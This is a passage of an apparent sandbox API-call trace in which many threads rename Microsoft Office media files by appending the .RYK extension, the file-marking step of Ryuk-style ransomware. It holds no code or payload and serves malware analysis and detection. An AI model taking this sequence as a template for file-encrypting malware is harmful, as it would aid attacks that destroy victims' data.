	[0277.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0211949.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0211949.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.871] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.871] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0211949.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0211949.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0211949.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0211949.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3848
	os_tid = 0x41ac

	[0277.484] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212219.WMF", dwFileAttributes=0x80) returned 0
	[0277.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212219.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212219.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.873] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.873] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212219.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212219.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212219.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212219.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3849
	os_tid = 0x41b0

	[0277.485] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212661.WMF", dwFileAttributes=0x80) returned 0
	[0277.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212661.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212661.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.875] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.875] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212661.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212661.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212661.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212661.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3850
	os_tid = 0x41b4

	[0277.486] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212701.WMF", dwFileAttributes=0x80) returned 0
	[0277.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212701.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212701.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.877] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.877] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212701.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212701.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212701.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212701.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3851
	os_tid = 0x41b8

	[0277.487] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212957.WMF", dwFileAttributes=0x80) returned 0
	[0277.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212957.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212957.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.488] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.488] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212957.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212957.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212957.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212957.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3852
	os_tid = 0x41bc

	[0277.489] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0214098.WAV", dwFileAttributes=0x80) returned 0
	[0277.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0214098.WAV" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0214098.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.879] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.879] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0214098.WAV" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0214098.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0214098.WAV.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0214098.wav.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3853
	os_tid = 0x41c0

	[0277.490] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0215086.WMF", dwFileAttributes=0x80) returned 0
	[0277.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0215086.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0215086.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.881] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.881] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0215086.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0215086.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0215086.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0215086.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3854
	os_tid = 0x41c4

	[0277.491] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216516.WMF", dwFileAttributes=0x80) returned 0
	[0277.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216516.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216516.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.883] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.883] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216516.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216516.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216516.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216516.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3855
	os_tid = 0x41c8

	[0277.494] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216588.WMF", dwFileAttributes=0x80) returned 0
	[0277.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216588.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216588.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.886] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.886] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216588.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216588.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216588.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216588.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3856
	os_tid = 0x41cc

	[0277.495] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216724.WMF", dwFileAttributes=0x80) returned 0
	[0277.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216724.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216724.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.887] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.887] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216724.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216724.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216724.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216724.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3857
	os_tid = 0x41d0

	[0277.889] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216858.WMF", dwFileAttributes=0x80) returned 0
	[0277.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216858.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216858.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.890] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.890] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216858.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216858.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216858.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216858.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3867
	os_tid = 0x41fc

	[0277.891] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0217698.WMF", dwFileAttributes=0x80) returned 0
	[0277.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0217698.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0217698.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.892] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.892] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0217698.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0217698.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0217698.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0217698.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3868
	os_tid = 0x4200

	[0277.893] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0221903.WMF", dwFileAttributes=0x80) returned 0
	[0277.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0221903.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0221903.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.893] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.894] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0221903.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0221903.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0221903.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0221903.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3869
	os_tid = 0x4204

	[0277.895] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222015.WMF", dwFileAttributes=0x80) returned 0
	[0278.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222015.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222015.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.126] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.126] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222015.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222015.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222015.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222015.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3870
	os_tid = 0x4208

	[0277.896] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222017.WMF", dwFileAttributes=0x80) returned 0
	[0278.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222017.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222017.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.128] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.128] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222017.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222017.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222017.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222017.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3871
	os_tid = 0x420c

	[0277.897] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222019.WMF", dwFileAttributes=0x80) returned 0
	[0278.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222019.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222019.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.129] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.130] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222019.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222019.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222019.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222019.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3872
	os_tid = 0x4210

	[0277.899] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222021.WMF", dwFileAttributes=0x80) returned 0
	[0278.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222021.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222021.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.132] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.132] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222021.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222021.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222021.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222021.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3873
	os_tid = 0x4214

	[0277.900] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229385.WMF", dwFileAttributes=0x80) returned 0
	[0278.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229385.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0229385.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.133] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.133] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229385.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0229385.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229385.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0229385.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3874
	os_tid = 0x4218

	[0277.901] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229389.WMF", dwFileAttributes=0x80) returned 0
	[0278.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229389.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0229389.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.135] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.135] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229389.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0229389.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229389.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0229389.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3875
	os_tid = 0x421c

	[0277.902] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0230876.WMF", dwFileAttributes=0x80) returned 0
	[0278.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0230876.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0230876.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.136] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.136] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0230876.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0230876.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0230876.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0230876.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3876
	os_tid = 0x4220

	[0277.903] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233018.WMF", dwFileAttributes=0x80) returned 0
	[0278.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233018.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233018.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.137] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.138] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233018.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233018.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233018.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233018.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3877
	os_tid = 0x4224

	[0277.904] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233070.WMF", dwFileAttributes=0x80) returned 0
	[0278.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233070.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233070.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.139] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.139] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233070.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233070.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233070.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233070.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3878
	os_tid = 0x4228

	[0277.905] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233312.WMF", dwFileAttributes=0x80) returned 0
	[0278.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233312.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233312.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.140] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.140] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233312.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233312.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233312.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233312.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3879
	os_tid = 0x422c

	[0277.906] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234131.WMF", dwFileAttributes=0x80) returned 0
	[0278.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234131.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234131.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.142] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.142] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234131.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234131.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234131.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234131.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3880
	os_tid = 0x4230

	[0278.143] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234266.WMF", dwFileAttributes=0x80) returned 0
	[0278.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234266.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.143] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.143] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234266.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234266.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234266.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234266.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3885
	os_tid = 0x424c

	[0278.144] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234657.WMF", dwFileAttributes=0x80) returned 0
	[0278.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234657.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234657.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.346] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.347] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234657.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234657.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234657.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234657.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3886
	os_tid = 0x4250

	[0278.145] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234687.GIF", dwFileAttributes=0x80) returned 0
